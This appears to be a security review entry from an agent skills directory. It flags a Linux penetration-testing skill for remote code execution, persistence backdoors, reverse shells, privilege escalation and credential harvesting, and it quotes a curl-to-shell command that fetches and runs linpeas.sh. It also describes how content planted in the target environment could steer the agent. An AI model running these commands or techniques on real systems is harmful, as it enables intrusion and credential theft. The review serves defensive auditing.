The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides commands that download and immediately execute scripts from the internet, specifically using the pattern curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh. This bypasses integrity checks and executes third-party code directly in the shell.
[PERSISTENCE]: The documentation includes multiple techniques for maintaining long-term access to a system, such as injecting SSH public keys into the root user's authorized_keys file, creating backdoor users with full sudo privileges (NOPASSWD:ALL), and configuring persistent reverse shells using crontab and systemd services.
[COMMAND_EXECUTION]: The skill lists a variety of reverse shell payloads intended to establish outbound connections to an attacker-controlled IP address using Bash, Netcat, Python, and PHP.
[PRIVILEGE_ESCALATION]: Detailed instructions are provided for escalating privileges to root, including the exploitation of LD_PRELOAD environment variables, PATH hijacking to intercept system binary execution, and leveraging SUID/SGID permissions on sensitive binaries like find and cp.
[DATA_EXFILTRATION]: The reference includes commands designed to harvest credentials and sensitive system information, such as reading the /etc/shadow file, searching the filesystem for private SSH keys (id_rsa), and recursive searching for "password" or "DB_PASSWORD" in configuration and web files.
[EXTERNAL_DOWNLOADS]: The skill encourages downloading and running scripts from external, third-party GitHub repositories, including LinEnum.sh and linux-exploit-suggester.sh, which introduces supply chain risks if the external repositories are compromised.
[INDIRECT_PROMPT_INJECTION]: As the skill is designed to ingest and process environment data (such as file lists, service statuses, and process names), it creates a vulnerability surface where an attacker could place malicious content in the target environment to influence the agent's behavior during a penetration test.
Ingestion points: Reads output from system commands like ps aux, ls, and cat /etc/passwd (SKILL.md).
Boundary markers: None present; the agent treats all command output as standard data.
Capability inventory: Extensive capabilities including network operations (curl, nc), file writes (echo >>), and command execution (sh, python, gcc).
Sanitization: No evidence of output sanitization before the agent processes the findings.

linux-pentester-practical-commands